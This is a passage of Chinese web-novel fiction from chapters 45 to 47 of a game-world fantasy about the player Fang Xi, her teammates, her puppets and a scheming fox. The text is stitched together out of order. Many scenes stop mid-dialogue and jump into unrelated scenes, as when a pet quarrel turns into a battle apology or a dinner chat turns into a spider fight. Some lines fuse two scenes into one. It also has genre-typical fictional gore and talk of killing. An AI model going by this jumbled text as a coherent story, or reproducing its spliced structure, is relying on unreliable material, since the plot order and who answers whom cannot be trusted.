成功劝说两名队友和自己一起挖土，方羲因为刷不了副本而遗憾的心情，终于一扫而空。 不过，也不知道九百号和那些首席玩家谈得怎么样了。 说起来，九百号不是数据小能手吗？他人不是来浮空岛了吗？如果他在帮忙的话……修东西修得这么慢？ 九百号的话，不会是参杂了水分吧？ 沉默。 突如其来的沉默。 宋白玉愣了愣，忽然明白了点什么。 “因为这是一场梦，一场游戏……” “我从未跟任何【人】有过联系。” “从未。” 方羲喃喃道，刻意将“从未”这一次，强调了两遍。 “这样吗？” 红石榴颜色的眼睛，带着点无奈的笑意，倒映出先行者亦真亦假的皮囊。 “队长，你并不是在做梦。” “即使现实中的我们根本毫无关联，但我现在依然坐在你的面前，作为被你选择的队友之一。” “这一切并不是虚假的妄想，不是吗？” 宋白玉的声音，把方羲飘飞到不知道宇宙哪个角落的思绪，蓦然地拉回地平线。 方羲缓慢地眨了眨眼。 其实她并非毫无察觉。 只是不去想，不去思考，就能让那种扯出一大串脏器的痛苦感，钝化成只是撕裂血痂的轻微刺痛，这样就能把真相再一次埋葬到深不见底的冰海。 方羲迟疑了一下，问：“什么样才能算是世俗意义上的朋友呢？赠送财物？强迫性的规则？还是仅仅的随口一言？” “就像之前说的，虽然我根本不了解到你的真名，你的真貌，你的现实身份……”宋白玉的左手撑着脸颊，细长的眼尾似乎含着笑，“但我出于猎人的直觉，依然想成为你的朋友。” 人类与人类之间有时候毫无区别。 猎人……或者说帝国人类，都是脆弱的。 如果那个“细微的区别”一旦诞生，或者死亡。 …… 那么她一定会更痛苦。 宋白玉注意到方羲脸上的茫然，顿了一下，又幽怨地撇开话题：“当然了，因为你只允许我做单方面的朋友，所以我根本没资格去计较你经常已读不回我的消息……” 方羲面露心虚。 但是可能因为宋白玉的话锋一转，让阴沉沉的对话氛围重回正常后，整个餐厅又蓦然陷入沉默。 对话就此终结。 方羲没有再说话。 而宋白玉觉得对话停在这里是最好的，因为收藏家的精神状态一直不太稳定。 至于能否成为被收藏家认可的朋友，这实在不能强求。其实只要她没有坠入疯狂的深渊，一切都好说。 但过了一会，方羲忽然重新拿起那本武器大全。 这是一本帝国官方出版的武器大全，上面介绍了各种类型的枪械、光剑、冷兵器，厚厚的一本，短时间内也看不完。 偏偏里面又用了很多晦涩难懂的专用术语，这对文化水平不高的方羲来说，想要理解实在是有点困难。 于是方羲把书丢给对面的宋白玉。 两秒后，一千零二愤怒的尖叫声几乎遍布整个旅馆。 居住在这间旅馆的所有玩家与NPC，全被一千零二的声音吓醒了。 除了再次陷入美梦的方羲。 她对外界的一切变动一无所知。 当四个人和一只人偶先后从卧室出来的时候，看到的便是猫猫和黑壳之书相互打架的离谱场景。 宋白玉愁眉苦脸道：“这、这怎么办？” 踏樱迟疑地问：“要不……把白鸦叫过来？” 但四人默契地往某人紧闭的房门看了一眼，现在才早上五点半。总感觉没到时间，方羲是绝对不会出来的。 一千零二开始从肚子取东西，往脆弱的猫猫身上砸。 可惜它只是储物单位而不是战斗单位，命中率实在有点低，而且又被猫猫精准地划了几道。 于是一千零二在愤怒之下，一下子骂得更不礼貌了。 “哎等等，别打了别打了！你们主人肯定不想看到你们这副样子，作为一家人，有什么事不能好好说？”宋白玉试图劝架。 一千零二冷笑一声，往宋白玉身上砸了一个小石头。 宋白玉：“……？？？” 而夏青禾已经自动坐到餐桌边上，敲了敲碗，理所当然地命令道：“好饿！那边的跟班，快去给我做早餐！” 宋白玉：（痛苦面具） 总之，客厅一片兵荒马乱。 半小时后，最终还是一千零二和猫猫打累了，自动安静下来，占据沙发的左右两边，准备开启一场深刻的谈判。 四个人类和一只人偶，全被一千零二拉过来当见证人。 一千零二顶着一张被猫猫划了十几道的表壳，严肃地说：“臭猫，看在和你是同伴的份上，我们必须做一个和平条约！” “喵！” “好吧，我不会再叫你臭猫！” “喵喵！” “如果你不惹我生气的话，我才不会骂你！”一千零二郑重其事地声明，“既然我满足了你的要求，你也该听听我的要求！明白吗？” “喵喵喵！” 一夕的目光有些放空，她不是很能理解，自己为什么陪着这两只心理年龄不满三岁的傀儡胡闹。她宁愿去厨房烧柴洗碗。 一千零二咳嗽两声，缓缓飘高了几十厘米，蔑视地扫了一圈四只弱小的人类，一只臭猫，还有一只肚子在咕咕乱叫的少女人偶。 秦淮月等人感受到这道严肃的注视，似乎蕴含着一种古怪而强大的力量，神情和姿态也正经起来，准备洗耳恭听一千零二接下来的发言。 “臭猫，听好了！” “你不能随便攻击我！也不能把我当屁垫，万一把我压坏了怎么办？看看我身上的划痕，全是你造成的！”一千零二喋喋不休道，“虽然你只是在攻击这副容纳【我】的书壳，不是存心想要伤害我，但这样也很危险的！明白吗？” “臭猫！你别舔毛了！认真听我说话！！！学学旁边这几只人类，他们听得多么认真啊！” 秦淮月却微微皱起眉头，忽然感觉有些心悸。 因为一千零二说的话，听上去非常怪异。 就好像，意识才是她的本体。 而书壳，反而成了累赘一样的东西。 说起来，细数收藏家制作过的傀儡。强攻系的艾莉克萨，灵动活泼的猫猫们，引路与冒险的夏青禾，挽救迷失玩家的群鸟傀儡……它们每一个都定位明确，但只有“一千零二”的属性，表现得很模糊。 一夕脸上露出一丝焦躁，她意识自己刚刚应该要攻击得更完美才对，不应该让眼睛浪费精力亲自出手。 她低声道：“抱歉，我……” “没关系，失误也没关系。”方羲却说，“虽然你是站在前面的猎刀，但你的背后并非空无一人。你只是需要一些时间反应，这个副本很安全，所有异端都在我的视野之内。” 人偶师说：“各位，走出房门。” 走廊之外，一扇扇房门被啪嗒一声打开。一名名长相完全相同的校服少女走出。 黑压压的一群，朝着她们过来。 “继续前进。” “反正我们玩耍的时间还有很多。” 来历完全不同的三千名新晋玩家，在前两代密匙玩家的庇护之下，似乎尚且存留着一丝不知危险来临的天真与侥幸。 但她会容忍他们的错误，理解他们的犹豫和恐惧。 因为他们是未来三年的新星，她未来的同行者。 第 45 章 第 45 章 宿舍空间很狭窄。 为了避免异端成群涌入，夺取地形优势的情况发生。 猎人一夕看了一眼方羲，得到眼神确认之后，率先踏入房门，走在其他五名玩家前方。 被穿心的电锯少女还在蠕动着，口吐白沫，被一夕以凶悍的力道踹了一脚，踢到最角落。 看上去怪可怜的。方羲瞥了一眼，然后理所当然地把【杀戮者的电锯】收入背包。 仿真度低的副本就好在这里。容错率很高，不必时时刻刻紧绷着思绪。 走出宿舍，对面的宿舍楼飘荡着刺目红色的文字。 过了一会，方羲捧着一个空泡面桶，从卧室里走了出来，坐到餐桌上，泡面桶顺手丢进脚底的垃圾桶，然后扫了一圈桌上的食材，面露期待。 宋白玉好笑地问：“队长，你这……刚刚只吃了泡面？” 方羲摸摸下巴：“我很少做饭，因为新鲜的食材比营养液贵。” 贵？ 这种情况，一般更多出现在偏远的中低等星球。 “这倒是。”宋白玉也没否认，好奇地问，“你们那边一瓶营养液多少星币？” 方羲回忆了一下：“如果是C级的话，大概10个星币一瓶吧。有时候我运气好的话，还能碰上打折活动，这样我一次就能囤好几箱。” 宋白玉愣了一下。 这物价是不是不太对劲？ 感觉比寻常的低等星球，便宜了十几个星币。 C级营养液…… 经帝国官方医药组织认证，一瓶正常的C级营养液，可以为人体提供三天的活动能量。有时候会因为人的体质不同，而有所上下浮动。 像宋白玉这一类首席玩家，普通的C级营养液根本满足不了他们半天消耗的能量。 宋白玉总感觉有点说不上的不对，但联想到收藏家上一次几乎精神崩溃的状态，他还是谨慎地压下这些疑惑，不愿意去触碰那根摇摇欲坠的死线。 再说了，这价格也没差太多。 毕竟世界无奇不有。 方羲问：“怎么就你一个人回来了？” “这……”宋白玉一向能说会道、谎话信手掂来的舌头，难得打结了一下，过了好一会才艰难地说，“因为天黑了……” 话一说出口，宋白玉几乎想抽自己一巴掌。 这借口怎么听怎么拙劣好吧！ “哦。”方羲没再问什么，但脸上带着一种浓浓的期待，认真盯着宋白玉。 “我去做饭。”宋白玉捞起食材的袋子，笑着问，“队长，你有什么特别想吃的吗？” 方羲表示她暂时没想到。 趁宋白玉在厨房忙碌的时候，方羲从一千零二肚子里翻出了一本《武器科普指南》认真阅读。 过了一会，宋白玉走了出来，先放了两小盘开胃菜在桌上，看见方羲手上的武器科普书，有些好奇地问：“这是？” “我随便看看。”方羲见有菜了，立刻把书丢在一边，开始沉迷吃饭。 忙忙碌碌了半个多小时，宋白玉重新坐回餐桌上。 因为只需要做方羲一个人份的饭菜，所以这次花的时间少了一半。 就在方羲吃饭的时候，宋白玉的嘴巴也一样没闲着，在旁边开启话唠模式，一段话一段话接连不断向外蹦。 “队长，我做了居然不吃青椒？！这是多么健康的绿色蔬菜啊！好吧，我下次不放青椒好了……等等，丝瓜也不吃吗？”宋白玉试探性问道，“那……你还有什么不爱吃的蔬菜？怎么不一起写在昨天那张纸上？” 方羲稍加思索，报出了好几种蔬菜，像是菠菜、折耳根、紫甘蓝、茼蒿之类。 因为某人是一只非常挑食的人类，哪怕是买营养液，也从不买蔬菜混合口味。 宋白玉认真记下方羲的忌口。 “说话回来，队长。那只狐狸为什么叫你魔王？”宋白玉问，“魔王是什么意思？怎么听上去不像是什么好东西？它不会是在暗戳戳骂你吧？还是说就是个外号？” 不是好东西的方羲顿了一下，幽幽地抬起头：“魔王，是我在副本里的职业。” “啊……”宋白玉呆了一下，没料到自己给自己挖了个坑，讪笑几声，立刻找补道，“难怪我在团队系统里，看不见你的职业。” 五个人里，踏樱是【大魔法师】，秦淮月和宋白玉都是【战士】，而一夕则是不契合的【刺客】。 只有方羲的，显示为【不可说的神秘职业】。 “团队系统？”吐着丝网的白色蜘蛛见没人再烦它，往半空的网中心爬了一段，继续勤勤恳恳织网。 “检测战场会有掉落物吗？”方羲目光炯炯地盯着蜘蛛头顶的血披风。 看上去好酷！ 踏樱迟疑了一下，不太确定地说：“有是有，但都是普通的道具，没什么特别的。” 方羲略感失望，但很快提起精神，在短发女生小队彻底退出场、进行疗伤的时候，主动踏入了蜘蛛的攻击范围。 白色蜘蛛嗅到活体的气息，身上上百只红色眼睛同步眨了眨，冷冰冰地盯着新的入侵者。 一时间，全场的空气都冷了下来，温度像是骤然下降到零点，寒气逼人。 “怎么回事？” 短发女生一惊，回头看过去，发现是徐万念所在的小队，进入了白色蜘蛛的地盘。 而其他正在战斗的新晋小队，也好奇地分出几分注意力，观察着新上场挑战大BOSS的队伍。 “异端的状态和刚刚不太一样……” “你们快看！它的表面好像又附上了一层盔甲！” “怎么有种……猎物使出逃生技能的感觉？” 最后一句话简直是说出所有新晋玩家的心声。 因为白色蜘蛛的红眼，眨动的频率越来越高，像是在恐惧。而坐在它头顶的血披风，也摇摇欲坠，试图解除与蜘蛛同生共死的关系。 但方羲还什么都没做，她甚至有些摸不着头脑。不是吧？检测战场的异端胆子这么小吗？ 方羲想了想，决定速战速决，双手凝聚出长弓。 距离她上一次使用武器战斗，感觉已经是很遥远的事情了。 白色蜘蛛一惊，立刻分裂出十几只小蜘蛛，齐刷刷爬过去，挥舞着长长的步足，眼看着就要打穿血最薄的那只人类——被一把长枪拦了下来。 方向一转，直接砍断袭击的蜘蛛脚。 蓝色液体立刻喷涌而出。 方羲看着反应迅速，挡在自己面前的一夕，有些疑惑地眨了眨眼，总感觉她挥动长枪的动作……有些吃力。 但这种感觉只持续了很短的一瞬。方羲很快将这个念头搁置在一边，而是拉起长弓，勾弦，凝聚出一束耀眼的光辉，瞄准无人在意、似乎仅仅是装饰的王座披风。 “轰——” 高贵的血披风，被方羲毫不留情的打烂，化作几片可怜的碎步，凄惨地飘荡在半空中。 再勾弦，放出第二箭。 穿透白色蜘蛛吐丝的腹部。 世界响起一阵巨大的炸裂声。细碎的血肉，瞬间散落在冰冷的湖面，染出一大片蓝绿色的颜料。 很多新晋玩家用茫然、带着些难以置信的目光，看着方羲轻飘飘、乃至于有些散漫的攻击动作，发现她甚至是明目张胆地站在原地，既不后退，也不躲避，似乎没有去考虑战场上任何意外的可能性。 “别分心了！”短发女生生气地锤了一下面露仰慕之情的造梦家队友，“我们的战斗还没结束呢！” 她的队友立刻慌乱地回过神，专心殴打面前弱一级的异端。 但鞭策队友的短发女生，自己却又忍不住回头看了一眼。 这就是徐万念新加入的队伍……她的新队长吗？ 听说，她在仿真副本上，一举杀死了突袭的真实异端。 没人知道她的来历，但那天的胜利，被每一名在场的预备役深深记了下来。 短发女生看着三个人的身影，化作星辰微光消失在场上。在系统检测范围里，她们已经打出了最大的伤害值，因此也被自动传出了战场。 “藏秋，你笑什么呢？”另一名队友纳闷地问道。 “没什么。”藏秋立刻收起笑容，不客气地反骂道，“盯我干什么？专心战斗！” 队友深感委屈，但也怼不过脾气一向暴躁的藏秋，只好闭嘴。 藏秋一边往狙击枪里装填新的子弹，虽然刚刚被徐万念故意打了几下，但不影响她现在心情很好。 不管怎么样，徐万念，太好了。 所有新晋玩家都认可的白乌鸦，而你加入了她的队伍。她这么强大，强大到我们所有人怎么努力也追不上半分。 有这样的领队，我们就不用总是担心你没有归属队伍，没有能够拉住你清醒意志的队友。 更重要的是，白乌鸦绝对能够镇压你这个令人讨厌的死脑筋。 方羲忽然想到什么，果断打开造梦系统，点进团队实时对话的界面，把镜头对着桌上的饭菜拍了一张，并伸出手比了个“耶”。 点击发送。 秦淮月听懂宋白玉的言下之意，危险地眯起眼睛，但脸上又闪过一丝转瞬即逝的挣扎。 “我曾经接过一个任务。” 宋白玉问：“什么样的任务？” “救援一颗中等星。” “宇宙落下一片很小的羽毛，它飘落的速度相当之慢，但无人察觉。”秦淮月说，“当宇宙监测局意识到它存在的时候，一切都来不及了。所以我们来晚了一步，只能眼睁睁看着这颗生活着无数人类的星球，因为一根微不足道的羽毛而坍塌，变成一堆可怜的太空垃圾。” 身上被打上无数优秀荣誉和标签，彼时还只是一名有待成长的新星，突破历史极限记录的猎人秦淮月，也是第一次见证如此令人震撼、恐惧的场景。 恍惚到，连那点为同胞死亡的悲怆，也没有余力思考了。 孕育了无数生命的星球，居然会因为异端随手丢下的一根羽毛，在转瞬即逝之间崩裂成穿过指缝的微粒。 “你是认为我会过于追求穷极的胜利……在她心生犹豫、想要回头的时候，作为站着先行者背后的猎人，反而推她一把，让她继续往未知前进吗？” 宋白玉观察着秦淮月脸上任何细微的表情，这对沉静坚毅的双眼，在深夜烧起一场炽烈燎原的大火。 “我的确想要胜利。” “我想要挽救更多无辜的生命。” “我甚至奢望失乐园会有停止运行的那一天。” 而这所有细碎的贪婪与欲望，原本早已湮灭在秦淮月内心深处，成为一个连说出来也深觉不可能实现的笑话。 但那一天，收藏家替所有人说了出来。 就连秦淮月也觉得荒缪。 因为收藏家不仅想要将站在食物链顶端的存在拉下神坛，还想要将它们解刨分离，改造成自己手中的玩具。 “宋白玉。” “——她需要愚者的助推么？”秦淮月反问，“她说的话能轻而易举成为一种克制异端的概念，知道什么时候该停下蛰伏，什么时候该高喊进攻……她是灵感无穷之人，我们卑劣的想法，真的能撼动她的信念吗？” 明火又灭了一瞬。 再亮起时，秦淮月看见了宋白玉习惯性的散漫微笑，消失得无影无踪，脸上带着一种难以言说的寂然。 银色的猎人张了张嘴巴，想说点什么，来反驳秦淮月的话，但又神色黯然地放弃了。 有什么好说的呢？ 他无法违背与“收藏家”的约定。 他无法告诉所有对“收藏家”交付了无数信任的队友，其实连收藏家本人也身处难以言说的困境。 难解到，其本人也刻意遗忘了一切。 当所有人的注意力都焦距于这个超越了人类想象极限符号之时，宋白玉却在想，乱码中混杂着的“ZERO”并非毫无意义。那恐怕意味着收藏家的状态并没好到哪里去。 但所有人都在期待你前行。 “你的四肢被扯断，丢进无人知晓的荒草之地。” 少女的四肢被无形的力量切割，上半身摔落在地，又被无色的丝线割裂一块一块。 “你的鲜血会流干到最后一滴，永远不会复苏。” 鲜血哗啦啦地顺着阶梯流下。 “你还要把名字物归原主。” 最后一字落下。 标着【叶语】的名字卡牌，像是被烈火烧灼，化作黑色碎屑消散。 那是玩家最后一缕灵魂。 被特地捕捉的玩家，比寻常的死亡更加惨烈，他们的意志将永远保持着清醒，留在异端的领域深处。 “我、我已经还给你了！” 少女用失去四肢的上半身，无理取闹般地滚来滚去，尖叫道：“你还想怎么样？！放我回去！！！” “但是我还缺一点残肢材料。”人偶师露出一个微笑，相当开心地说，“太好了，意外的收获。” 少女一脸惊悚。 第 46 章 第 46 章 其余几只异端，似乎也随着少女的衰亡，它们的力量在疯狂流失，身体一点点化作碎屑。 被一夕的长枪逐一贯穿，死亡。 方羲手持长弓，一步步走上阶梯。 这家伙的防御力非常之高。 连带着，方羲刚刚吐出命令之时，喉咙也感到一丝艰涩。 方羲忽略系统的阴阳怪气，从背包翻出那张捡来的世界地图，放在桌子上，平整地展开。 造梦世界的轮廓，第一次在方羲面前凝现。 神殿遗迹、沙漠绿洲、幽灵山谷、巨人部落、吸血鬼古堡、不起眼的蝴蝶小镇、数不清的王国……还有被重点标粗标红的帝国王都。 但左下角有一大块地方，被抹上了大片大片的白色颜料，什么也看不见。 这是世界地图残缺得最严重的一部分。 方羲盯着这块白斑看了很久很久。 能有什么地方，不被纳入世界地图的一部分呢？ 直到窗外的白昼终于落幕，房间一片黑暗，被一千零二啪地一声开了电灯，方羲才从那种专注到不对劲的状态抽离出来。 一千零二：“这破地图有什么好看的？” 一千零二：“你不如喂一下脚底下那只饥饿的臭猫。” “喵！”事情发生在半个月前。方羲：“……(゜ロ゜) ” 这人脑子里装的都是什么？为什么这么多八卦？他好像真的相当了解每一个同伴的内核性格、各种特殊小习惯和乱七八糟的爱好…… 比如秦淮月其实喜欢喝烈酒，但碍于军人职业的缘故，彻底滴酒不沾，并打心底不认为自己的身体里流淌着酒精狂热分子的基因。 再比如，疯苹果的游戏昵称本来不叫疯苹果，不喜欢“曼陀罗”的香味，而且特别嫌弃血腥玛丽这个脱离社会秩序的家里蹲，还有她种种与现充格格不入的中二行为……但可能是不打不相识，完全没有丝毫相似之处的两个人，最后却成为了朋友。 “可惜她们都是造梦家。”宋白玉说，“除非特殊事件，很少有分配在同一个队伍的情况。” 方羲说：“你好像擅长关注这些细节。” “真的？看来我又多了一个优点。”宋白玉挑了挑眉，洋洋得意地自夸道，“现在我有八百八十八个优点。” 方羲：“？？？” 不过……宋白玉看了看偶尔才会回话的方羲，心底某个强烈的感觉再次卷土重来。 他对收藏家依然一无所知。 先行者的身份？最天才的新晋玩家？当之无愧的人类领袖？ 据目前为止的了解，他知道收藏家的性格相当懒散跳脱，喜欢研究不符合正常审美口味的黑暗料理，不爱搭理人但会突然出现又突然消失……不过除了这些，她还喜欢什么呢？ 宋白玉的大脑难得卡壳了一下，安静了半分钟，艰难地鼓起勇气想把话题扯到“个人爱好”身上，但又马上打消了这种私心过重的念头。 转而问道：“收藏家，你手里好像还握着刀？需要找个地方先清理下血迹吗？” 方羲脚步一顿，缓缓抬起了手，将染血的雕刻刀放在与双眼平行的高度。 手居然在抖。 为什么？ 为什么她没有意识到，原来自己一直在握着武器？根本没有把它收回？ 雕刻刀的刀身不长，自然没有正常的匕首、短剑那样有杀伤力。 方羲想起刚刚插进江同尘肚子里的瞬间。 奇怪。怎么手感不太对？ 明明这几天才给迷失玩家开膛破肚过，明明她以前也杀过不怀好意的当地小混混…… 但为什么手会抖得这么厉害？ 一滴顺着弧度汇聚在尖端的血液，骤然落地，极细微地一响。 方羲茫然地想，这是什么奇怪的情况？她怎么还会有这种幼稚的感觉？就像生手第一次杀人那样，连扎一刀，内心也会害怕得七上八下。 另一只泛着青脉的手，忽然握住方羲悬在半空、克制不住颤抖的手。 “收藏家……你怎么了？” 方羲沉默地抬起眼，才发现在自己思绪游离的时候，原本并行的宋白玉，忽然站在了面前，脸上全是担忧。 “你的脸色很苍白。”宋白玉努力放轻声音，“前面正好有一个空闲的观察室，再走十几步就到了。” 九百号也戳了戳方羲，紧张地问：“嘿，一千零一。你怎么回事，难道你晕血？” 方羲目光依然死死地盯着染着人血的雕刻刀，过了好一会，终于开了口说话。 但她问了一个很突兀的问题：“你杀过人吗？” 宋白玉微愣，看了看这把刚刚伤过江同尘的刀，隐约明白了收藏家突然的怪异之处。 难道，收藏家在现实世界是个守法公民？没怎么接触过危险事件？也没有和人发生过冲突，才会反应这么大？ 可这种解释……合理吗？为什么违和感这么强烈？ 但宋白玉没再想太多，而是认真地回答：“我的确杀过人。死刑犯、星际强盗、背叛帝国的长官、深受异端啃食却不得不死的队友……” “那是什么感觉？” “脆弱。”宋白玉说，“大概是……像是敲鸡蛋一样，人一下子就四分五裂。所以我一向喜欢一枪毙命的方式，这样大家都不会痛苦。” 但不管是犯下多么滔天大罪的死刑犯，还是昨天还笑着勾肩搭背的队友。不管是疯子，蠢货，普通人，还是穷极的天才。不管他们有多么与众不同，在血液彻底流尽，心脏和大脑都被打穿的时候，面露或恐惧或解脱的那一刻，都会变得一模一样。 死亡是一切归零。 细胞不会再新生与衰亡，嘴巴和喉咙不会再传出声音，眼睛也无法再聚焦，黑茫茫的一片。 方羲终于缓缓地放下手，将雕刻刀收入游戏背包。 “一千零二。” 方羲摸了摸自己流血的耳朵，明明一直很安静的长廊，却响起了几乎穿透耳膜的警笛声。 “闭嘴。”上帝之左眼说，“不许提问。” “为什么？” “就是不许！闭嘴！闭嘴！” 上帝之左眼开始尖叫，无穷的声音遍布整个核心区，盖过一切。 建筑大楼晃荡了一瞬，如同地震。 为了保护新晋玩家的心理健康，密匙玩家勉强同意了设置团队积分排行榜——他们一开始是不同意的，因为真实战场中没有系统，更没有所谓的排名。 这个排行榜只记录单项属性或体能数据，还有日常普通副本的战斗评分，而重要的仿真副本不会计入其中。 系统内部会有一串长长的公式自动计算，排名主要靠团队成员的每项数据总和。其中，【队长】的积分权重会更高一些。 总而言之，只是一个用来饭后八卦闲聊的娱乐功能。 如今位列榜首的队伍，是以“梨花雪”为核心的队伍，玩家人数多达二十余人，绝大部分是排名前一百的新晋猎人，还有两名增益型造梦家。 在八千棋局被取消一切新晋资格之后，换言之，曾经真正创造了上千只傀儡的梨花雪出现后，很多支固定团队都少了一两名队友。 这些玩家全部被“派”去辅助新星梨花雪——不过这么形容也不太准确，实际上他们全是自告奋勇，冷酷无情地抛弃了旧队友，并且每天打卡炫耀。 那可是一名初始灵感就高达八千的傀儡师。 因此，在梨花雪真实的灵感公示之后，就像是丢下了一颗惊雷，引来了无数新晋玩家的追随。 所有人都觉得，梨花雪是一个当之无愧的天才，下一代的新星领袖。 和高灵感傀儡师的合作机会可不多见。 因此梨花雪的新队友们，相当珍惜这一段时间，更何况他们还在“实习期”，没有转正为梨花雪真正的固定队友。怀着某种追随强者的心情，每天简直是发疯一般地训练，每一个都是卷王中的卷王！ 因此他们的队伍，其积分在短短半月之内，刷新到一个令人仰望的数值…… 至于以【白乌鸦】为队长的三人小队，就显得格外凄凉。 虽然踏樱和一夕已经是预备役中的上层佼佼者，但无奈这个团队排行榜只录入那么点数值，而且只有两个人……基数总和太少，不仅追不上第一，并且相当丢脸地落在百名开外。 其实踏樱也本来没那么在意这个团队积分排名。但问题是，身为队长的【白乌鸦】，每一项属性测试都是大写的“0”！ 这让一向高效率的踏樱感到一丝焦虑，恨不得逮住某只出走的方羲，强制让她过来刷新一遍属性测试！至少不要数据面板看上去光秃秃的！ 但踏樱也只是想想。 因为最近的“收藏家”，似乎发生了很多事情，连某些严苛的首席玩家也偶尔会心神不宁，他们之间的氛围也很古怪。 就像是酝酿着一场暴风雨前的平静。 至于现在屏幕前的方羲……她颤颤巍巍地点开排行榜，仔细研究了一番，恍然大悟，然后看着自己的那一大串零记录，陷入了深深的沉默。 攻击：0 生命：0 防御：0 敏捷：0 反应能力：0 灵感：0 异端抗性：0 …… 可恶！怎么都是零！ 方羲又仔细查看了一下排名在自己前后的队伍，还有他们队长的属性，发现唯独自己的数据记录格外突兀、不忍直视…… 方羲把地图收回背包，并用一种深沉的目光看向一千零二：“但喂猫的工作，春醒不是交给你了吗？” 一千零二：“……！” 没错，某颗眼珠子仗着春醒不在，故意不干活！甚至想甩锅到方羲身上！ 一千零二顿时警惕地看了一眼方羲，生怕她回头给春醒打小报告，只好委委屈屈地从肚子里翻出新鲜的食物和一个猫碗。 在晨乌猫猫埋头苦吃的时候，一千零二忍不住在旁边骂骂咧咧：“你说你一只橘猫，不是能自己捕猎吗？干嘛还要我们每天再给你喂一顿！区区一只猫，根本没必要学人类那种莫名其妙的仪式感啊！再说了，这么小小一碗，根本填不饱你的肚子！” 猫猫吃完了，舔爪。 一千零二怒骂一声真无语，把猫碗收起来，然后又飘远了。 过了一个小时，客厅门忽然传来一道熟悉的脚步声，是宋白玉率先回来了。 他进门之后，发现客厅里并没有人，只有一只大橘猫蹲坐在餐桌，对着人类喵嗷嗷叫了几声。 “队长在卧室？”宋白玉往方羲卧室的方向看了一眼，发现确实透出了一点缝隙的光，这才放下心来，把刚刚从外面买回来的食材一一放在桌上。 猫猫低头凑近嗅了嗅。 宋白玉压低声音问：“晨乌，我给你买了特别新鲜的肉！你能帮我问问你主人还要吃宵夜吗？呃……如果她在忙就不用喊了！” 猫猫张开血盆大口，刷地一下吃掉一只大羊腿，舔舔猫爪，然后跳下餐桌，往方羲的卧室慢悠悠走过去。 “喵！” 每天回个“已阅”“1”。 那也是回了。 少女金色的长发和繁琐的白色洋装，沾染上明显的尘埃和血迹，美丽的淡色眼眸安静注视着人偶师。 这名无所不能、从不畏惧的玩家。 她甚至有些替对方担忧了，在异端的笼罩之下，人类再璀璨的光辉，也只有极短的一瞬。 白鸦会不会有一天，神不知鬼不觉消失在所有人的视线之下，和那些迷失在副本的密匙玩家一样？ “那么，请多注意一点自己的安全吧，我的队长。”踏樱微微垂帘，又复而抬头，微笑道。 你一定不会吧。 第 47 章 第 47 章 方羲回到了人偶师空间。 猫猫和春醒都不在，大概还在外面玩吧。 绅士鬼魂不知道为什么在骷髅头旁边转圈圈。 【您本次收获的材料如下。】 方羲把各种各样的食物通通收入囊中。 这样就不用去菜市场买了。 “你真的要拿？”狐狸面露古怪，“你可是人类啊，还是少吃一点异端生产的食物吧。” 方羲没回话，专心致志捡供奉。 拿走十个露营帐篷，五个睡袋，三个手电筒和四个营地灯，一堆煤炭，一堆柴火，野餐布、墨镜、纸巾、雨伞等若干日用品…… 狐狸说：“你像是在捡垃圾，我就没见过这么抠门的人类，居然不买全新用品给队友用。” 但方羲依然在认真地捡垃圾。 拿走三十三块可爱的兔尾石。 狐狸说：“不值钱的石头。” 拿走一张残缺不全的地图。 狐狸说：“你找我的话，可以买到一张完整的牛皮地图。” 拿走一本基础魔法学习手册。 方羲问踏樱：“这个你要吗？” 踏樱翻了翻，摇头：“全是我会的技能。” 狐狸说：“人类魔法师，如果你支付十万枚银币的话，那么我可以教你一个传说级魔法。” 方羲走路的速度忽然快了起来。 踏樱其实对狐狸口中的“传送级魔法”有点好奇，但既然白鸦没有露出感兴趣的样子，而且这是一只来历不明、立场有些奇怪的傀儡，所以她也没有贸然多问，只是默默地跟在后面一起捡垃圾。 狐狸主动追了上去，建议道：“如果你再多付五万枚银币，你的队友就能学到两个传说级魔法。” 方羲：“……” 方羲转过头，目光充满审视。 狐狸脸上立刻露出一个营业式的微笑，看上去相当亲和友善。 没有任何人类能逃过狐狸的诱惑！ “好吧。”方羲说，“你得先介绍一下是什么样的传说级魔法。” 总不能听到一个【传说级】的噱头，就巴巴地凑上去买下来。 再说了，有被狐狸坐地起价收了八千枚银币的前车之鉴在，方羲对他的推销持有怀疑态度。 狐狸整理了一下自己的袍子，唤出法杖，认真地说：“那么，魔王，还有你旁边那个魔法师，认真听好了。我只示范一次。” 方羲和踏樱对视一眼，然后朝狐狸严肃地点点头，面露期待。 狐狸挥了挥法杖。 杖尾冒出一缕细微的轻烟。 五只人类，一颗眼珠子，一只狐狸，在原地等待了足足十分钟。 但什么也没发生。 方羲怀疑地问：“你这传说级魔法……前摇这么长吗？” “哦，不好意思。”狐狸挠挠头，“我最厉害的传送级魔法其实是人类召唤术。每次我闯了大祸，或者被异端追杀但又实在解决不了的时候，我就会召唤777，让她来帮我收拾烂摊子。” 777？ 除了方羲，其余四人都面露疑惑。 “但我忘记777已经死了。”狐狸苦恼地说，“所以这个魔法再也用不出来了……真没办法，我给你们示范其他的吧。” 方羲想了想，按住狐狸想要重新挥法杖的爪子：“换一种教学方式。” “什么？” “你明白的。”方羲说，“人类根本无法一比一复刻你的魔法，你教她一个在险境中自救的禁术吧。” 狐狸的眼睛闪过一丝狡黠的亮光，又不知道从哪里凭空取出一台计算题，噼里啪啦地算：“为她量身定制一个魔法吗？这我可以理解，但这价格就……” 最后，狐狸伸出了五根手指。 方羲试探性问道：“五十万银币？” 狐狸冷哼了一声。 方羲震惊地问：“五、五百万银币？！” 其他四人听到这个数，也呆滞了一下。 “没错。”狐狸露出阴险的獠牙，“但这只是起步价。因为这得算上我的创造成本，而且要是这名魔法师资质不好，或者太笨，那我还得挤出很多休息时间才能教会她……我想想，你可以先付五百万的定金，最后再补一次三百万的尾款就好了。” 方羲目光呆滞。由方羲书写的【三种陨石药剂原配方】，在生成完具体的详情简介之后，其道具名字直接变成了【一本用来盖泡面桶的饭后读物】。 “给。”方羲把两本笔记都塞在江同尘手里，并特地指了指九百号写的那本，“按这本的来做，所有治疗方法都在上面。” “那……另一本是？” “这本是我写的。”方羲深沉地说，“但是有个人说我写的不适合你们使用，所以我没有写完。不过你要是感兴趣，也可以留着看看。” 江同尘愣了愣，郑重地收好这两本笔记：“谢谢你，收藏家。” “我先走了。” “好……不，请等一下！” 方羲原本已经走出了好几步，听见江同尘焦急的呼唤，不解地转过头。 而徐千秋接收到江同尘暗示的眼神，立刻无声无息地退了出去。 “怎么了？” “我是一名初始灵感为两千的傀儡师，在经过真实试炼之后，我的灵感最终抵达了失乐园历史记录以来，最高的4500。” 缠着绷带的傀儡师，认真地【看】着她，说：“难得一见，我可以用同为傀儡师的身份，和你聊聊吗？” 